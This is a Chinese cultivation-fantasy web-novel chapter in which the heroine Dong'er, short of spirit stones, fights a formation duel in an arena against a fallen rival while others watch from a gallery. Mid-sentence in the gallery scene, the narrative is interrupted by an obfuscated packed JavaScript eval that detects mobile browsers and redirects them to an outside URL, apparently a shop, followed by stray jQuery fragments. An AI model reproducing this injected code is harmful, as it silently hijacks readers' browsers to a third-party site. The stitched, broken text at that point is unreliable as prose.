螣城是长蛇域内最大的一座修士之城,位于长蛇域最北侧,是整片大陆的自转轴心,与其它区域的昼夜交替不同,这里没有夜晚,所以又被称为不夜之城。
螣城的药市非常大,仅仅一座区域内的小药市,就是几座玉兰城的面积。
东儿花了小半个月时间逛了不足五分之一,结婴所需的丹药凑够了六七成,只差一部分妖兽材料,这些材料在大型店铺倒也有存货,唯一的问题就是灵石,她从苍玄界带来的灵石早在几十年前便已用尽,平时修炼所需都是依托玉兰城的供养,玉兰城一共两座灵脉,最好的那座算是她个人财产,然而随着修为精进,这座灵脉逐渐不足以支撑她的消耗。
想要结婴,必然要往外扩张,获得更多的修炼资源,但以玉兰城目前的实力,根本无法支撑长期战争消耗,这也是很多废域城镇发展的局限,势力原子化之后,很难再出现修为高深的元婴级修士,即使出现,也不会费力不讨好地重整废域,而是毫不犹豫地加入大势力。
这也是很多废域日渐“现代化”的原因,神仙都跑了,凡人只能自救,一部分源修士遗留的“现代文明”便占据了上风。
说这么多,其实一句话概括就是东儿很穷。
在废域到还好办,可以择一个恶名远扬的城镇首领“切磋”一下,从对方兜里掏个仨瓜俩枣应急,长蛇域可不行,这种有三阶圣主坐镇的区域,除非去斗兽场赌命,敢惹事,莫说一个金丹大圆满,就是元婴修士,捏死你就像捏死一只蚂蚁!
卡在临门一脚是件非常憋屈的事,尤其身后还跟着一群嗷嗷待哺的小弟,一双双渴望的眼睛看着你,指望你功成之后能带他们一道鸡犬升天。
唉……
为了平复自己的失望,东儿买了一块斗兽场的入场牌,打算让自己冷静一下,结果在入场大门口碰见了柳云和张书池,他俩是慕名过来开眼界的。
东儿作为二人的上司,这种场合的费用自然是她来付,本就不富裕的口袋,又被坑走几百灵石。
心情郁闷地端起酒杯,正打算一醉方休时,手却停在了当下,酒液泼得她满手都是。
柳云赶紧拿来手帕给她擦拭,并传音问道,“城主,怎么了?”
东儿瞳孔收缩,默然注视着下方的斗兽场,确切点说是斗兽场上那道消瘦的人影——邢云子,不会错的!
他怎么会在这里?而且身上的灵气如此稀薄,甚至还不如她!
“柳云,去帮我查件事……”放下酒杯,向柳云传音道。
柳云听完后,点头出门,没多会儿再次回到小包间,冲东儿传音道,“城主,这是从一名管事手里买来的消息。”递给东儿一枚玉简。
玉简的内容很简洁,上面对邢云子的介绍就两行字:贺云城,废域修士,金丹三境,受染度三级,死契,每场赌局三千起价。
看到“受染度三级”这五个字,东儿的眉头蹙的老高,她在废域待了这么多年,自然明白受染度三级意味着什么,源外世界除了罡风和空间乱流之外,还有一件最可怕的——被灰烬污染。
所谓灰烬是灵气、煞气、魔气等物的结合发酵后的产物,究其根本算是一种极具毁坏性的能量,之所以称之为灰烬,是因为一旦被这种东西沾染,万物都会变为灰色。
被侵蚀的等级则是按照体内灰烬的多少来定,一般金丹以下的修士,一级侵染就能直接要了他们的命,金丹修士则是二级侵染,以此类推,三级侵染对元婴修士非常致命。
“帮我约到他的下一场。”东儿将一只储物袋扔给柳云,里面是她的半数身价。
柳云神识往储物袋一探,足足五万灵石,“属下这就过去。”
最终,柳云以两万灵石的高价,约到了邢云子的下一场比试。
没错,斗兽场不只斗兽,也可以赌战。
***
当斗兽场的管事交给邢云子一万灵石时,他知道这场赌战的对手不一般,然而签了死契,容不得他开口拒绝。
东儿现下仍然维持着岳长生的形貌,以她如今的修为,以及古神血的加持,元婴后期大修士都无法辨别出她的易容手段,更别说跌落境界的邢云子。
所以赌战一开始,邢云子并没有直接动手。
两人就那么远远对峙着,引来场下一片嘘声,有的咒骂,有的嘲笑,有的尖叫,甚至还有不少人往场内扔东西。
“我素来不爱占人便宜,听说道友是位阵法师,这只玉盘便借给道友一用。”东儿一副高高在上的表情,随手将一枚白玉阵盘扔向对面,“还望道友尽全力。”
邢云子接过阵盘后,瞳孔微微一缩,随即嘴角露出一抹浅笑,回道,“多谢。”
多谢二字一出口,邢云子周身便被一股水墨之色包围,场下观众微微一愕,以为这水墨是灰烬,不少人下意识往后一仰,不过很快反应过来斗兽场有防护法阵。
再回神看过去时,邢云子周身的水墨色已经在其头顶形成一圈巨大的阴阳双鱼图案,竟是阵法虚影。
与水墨色相对的另一边,东儿周身被一圈青绿的树叶团团包裹住,这树叶乍一看像晶莹剔透的翠玉,实则只是凝实的灵气。
水墨色和青绿色猛得一个对撞,巨响中,灵气碎片化作缤纷的七彩落花四散飞溅,飞溅途中却并未消散,而是在场内形成数条巨大的游龙。
这两人竟然都是阵法师!
一时间起哄声和口哨声此起彼伏……
斗兽场正北方最高处的贵宾阁中,一场元婴级小型交易会正在此处进行,凌南儿却悄然从贵宾阁中退出,沿着悬崖上的长廊款步来到观景阁。
冯辰在闭关炼丹,今日只有她跟肖离单独来参加交易会,谁知交易会刚进行到一半,肖离什么都没交代,突然起身离场,而她因为需要交换一样材料,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333989|191594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只能等交易完成才跟过来。
此时,肖离正背身站在观景阁的露台上。
凌南儿来到他身旁后,并没有一上来就询问原因,而是顺着他的视线望向斗兽场,那里有两名阵法师正在斗法,一个白袍青年,一个青袍中年,“你认识他们?”歪头轻声问道。
肖离眼神柔和地望着场内正在斗法的白袍青年,唇角微微一勾,原本他还急着赶往幻神木出现的废域,没打算在这里停驻,是冯辰死命要过来,他才答应在这里短暂停留,想不到竟然真得在这里碰到了她。
交易会进行到一半时,他体内火元素突然莫名翻涌,他知道离火蛟一定就在附近,果然不假!
他很少笑,尤其这种温和的笑意,凌南儿本想继续询问,话到嘴边却吞了回去,睫毛微微一低,掩去了眸中一丝困惑,再抬睫时,仍旧是往日的温和,“给。”递给肖离一只储物袋,“你刚离场,就有人拿出养神玉,虽然块体不大,不过玉质很好,你看合不合用?”
养神玉非常稀有,即使只有鸽子蛋大小,也是修复魂体不可多得的材料,肖离眼下的确急需此物,但无功不受禄,接手之前必然要先跟她谈好价格,亲兄弟也是要明算账的!
凌南儿自然知道肖离的脾气,不待他开口,便道,“上次你出手帮我对付了宿敌,我还没来得及谢你。”上次在前线偶遇宿敌,差点遭其暗算,幸亏肖离及时赶到才脱身,“再者,我之前就看好了你那块银火晶,不知城主能否割爱?”
肖离摇头,那块银火晶是留给东儿稳固阴火体质所用,他还嫌太小,特地又跟人交易了一块,不可能拿来做交易。
凌南儿没想到他竟拒绝得这么干脆,一时间有些怔愣,不知该说什么。
就在这时,二人脚下忽然一震,紧接着便响起两道龙吟声。
因为斗兽场中灵气爆闪,凌南儿微微一眨眼,赞道,“怪道都说一个阵法师就能抵得上一支修士方阵,如此烈度的攻击阵法,就是元婴修士怕也不敢正面硬扛。”
肖离望着场中累瘫在地上的白袍青年,喃喃道,“长进很大嘛。”
这句话让凌南儿再次打量了一眼场中的白袍青年,以她元婴中期的神识来看,那的确是个年轻男修,怎会让他如此重视?
此时,斗兽场内的东儿正用力抹掉嘴角的血渍,冲不远处的衣袖碎片露出一个坏笑,老家伙,让你上次设局耍我,现在该轮到你来尝尝精疲力竭的滋味了!
调息了好一阵儿,东儿才起身下场,柳云和张书池正神情激奋地站在入口处等她。
他们可是废域子民,从出生起就是注定被压制的次等身份,想不到也有露脸的时候。
尤其张书池,他今天才得知城主居然还是一名等阶不低的阵法师,辗转待过三个废域的他自然知道阵法师对废域的意义,用个不恰当的比喻,这就相当于快饿死的婴儿碰上了奶水充足的奶母。